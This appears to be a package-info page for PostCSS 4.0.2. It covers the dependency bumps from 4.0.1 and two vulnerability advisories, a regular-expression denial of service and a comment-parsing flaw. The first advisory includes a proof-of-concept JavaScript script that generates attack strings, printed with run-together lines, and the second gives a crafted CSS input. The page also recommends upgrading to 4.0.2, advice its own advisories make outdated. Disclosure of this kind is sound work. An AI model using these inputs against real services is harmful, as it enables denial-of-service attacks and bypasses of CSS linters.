PostCSS version 4.0.2 represents a minor update to the popular CSS post-processing framework, building upon the foundation laid by version 4.0.1. Both versions share the same core functionality and purpose: to provide developers with a robust and extensible platform for transforming CSS with full source map support. Key features like the ability to use various preprocessor syntaxes (Less, Stylus, etc.) via plugins, perform advanced manipulations, and ensure compatibility across browsers remain consistent.
The primary difference lies in the underlying dependencies. Version 4.0.2 features an update to js-base64, moving from version ~2.1.6 to ~2.1.7. While seemingly small, this dependency update likely includes bug fixes, performance improvements, or security patches within the js-base64 library, benefiting PostCSS indirectly. Another notable change is the bump of the dev dependency 6to5 (now known as Babel), version 2.9.4 becomes 2.13.7, and fs-extra goes from 0.14.0 to 0.15.0; plus gonzales-pe goes from 3.0.0-12 to 3.0.0-13.
For developers considering using PostCSS, both versions offer a powerful toolset for modern CSS development. The update from 4.0.1 to 4.0.2 is incremental, so upgrading is advisable to leverage the latest dependency improvements. If you are starting a new project, using the latest version is generally recommended. PostCSS allows developers to automate many CSS tasks like autoprefixing, using future CSS syntax today, or linting. Its plugin architecture gives unparalleled flexibility. The core features around source map support and framework stability are similar whether you are using version 4.0.1 or 4.0.2.
All the vulnerabilities related to the version 4.0.2 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r
discrepancies, as demonstrated by @font-face{ font:(\r/*);}
in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.